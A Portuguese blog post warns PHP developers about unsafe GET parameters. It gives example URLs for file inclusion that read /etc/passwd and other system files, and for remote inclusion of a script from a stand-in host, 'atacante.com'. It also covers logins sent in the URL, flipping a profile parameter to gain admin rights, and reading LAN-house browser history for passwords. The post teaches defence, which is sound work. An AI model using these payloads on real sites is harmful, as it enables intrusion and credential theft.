imagem ilusttrativa hacker
Irei abordar nesse post um recurso que é muito utilizado em sites e aplicativos web, que é a passagem de parâmetros via GET (na URL).
Sempre vejo em sites esse recurso sendo utilizado de forma incorreta, dando brecha para que usuários com “segundas” intenções ganhem acesso ao servidor.
– Mas como?
Vejamos dois exemplos de URL que podem gerar um problemão:
http://sitecombrecha.com/index.php?pagina=home.php
http://sitecombrecha.com/login.php?usuario=fulano&senha=abcd1234&perfil=cliente
Na primeira URL o desenvolvedor chama as páginas do site por meio de um include no nome do arquivo que é passado como parâmetro na URL.
Isso possibilita que o atacante consiga visualizar qualquer arquivo do servidor (Desde que o usuário do deamon do web server tenha acesso).
Exemplo para testar a falha:
http://sitecombrecha.com/index.php?pagina=/etc/fstab
http://sitecombrecha.com/index.php?pagina=/etc/passwd
http://sitecombrecha.com/index.php?pagina=/var/log/messages
Se no php.ini a opção allow_url_fopen estiver habilitada, é possível executar arquivos externos da seguinte maneira:
http://sitecombrecha.com/index.php?pagina=http://atacante.com/destroy.php
http://sitecombrecha.com/index.php?pagina=ftp://atacante.com/public/destroy.php
O php permite que funções como include, include_once, require, require_once e fopen façam referencias para URL’s desde que a opção allow_url_fopen esteja habilitada no php.ini.
Para que o script destroy.php do atacante tenha efeito, o servidor web do atacante não deve interpretar o script php, pois senão o script será executado no servidor do atacante.
Na segunda URL estão sendo passados dados sensíveis para a aplicação, que é o login e senha do usuário. Nesse caso o login e senha do usuário podem ficar gravados no histórico do navegador ou no log do proxy.
Se você fizer um formulário de login em HTML e esquecer de colocar method=”post” na tag form ou a escrever errado, por default (w3c) o navegador irá entender method=”get”, e os dados do login irão passar via GET!!!
Exemplo: Dá uma olhada no histórico do navegador de uma LanHouse, ou dá uma olhada no log do proxy dessa LanHouse. É impressionante a quantidade de sistemas e sites que funcionam dessa forma.
Tabém é possível tentar mudar o parâmetro perfil=cliente para perfil=administrador, quem sabe você não vira adm!.
São pequenas coisas que tornam um sistema vulnerável, e essa foi a minha dica para se pensar mais no que deve ser passado na URL.
Obs.: Esse post foi escrito com o único propósito de exemplificar para desenvolvedores como aplicações podem estar vulneráveis a falhas de segurança.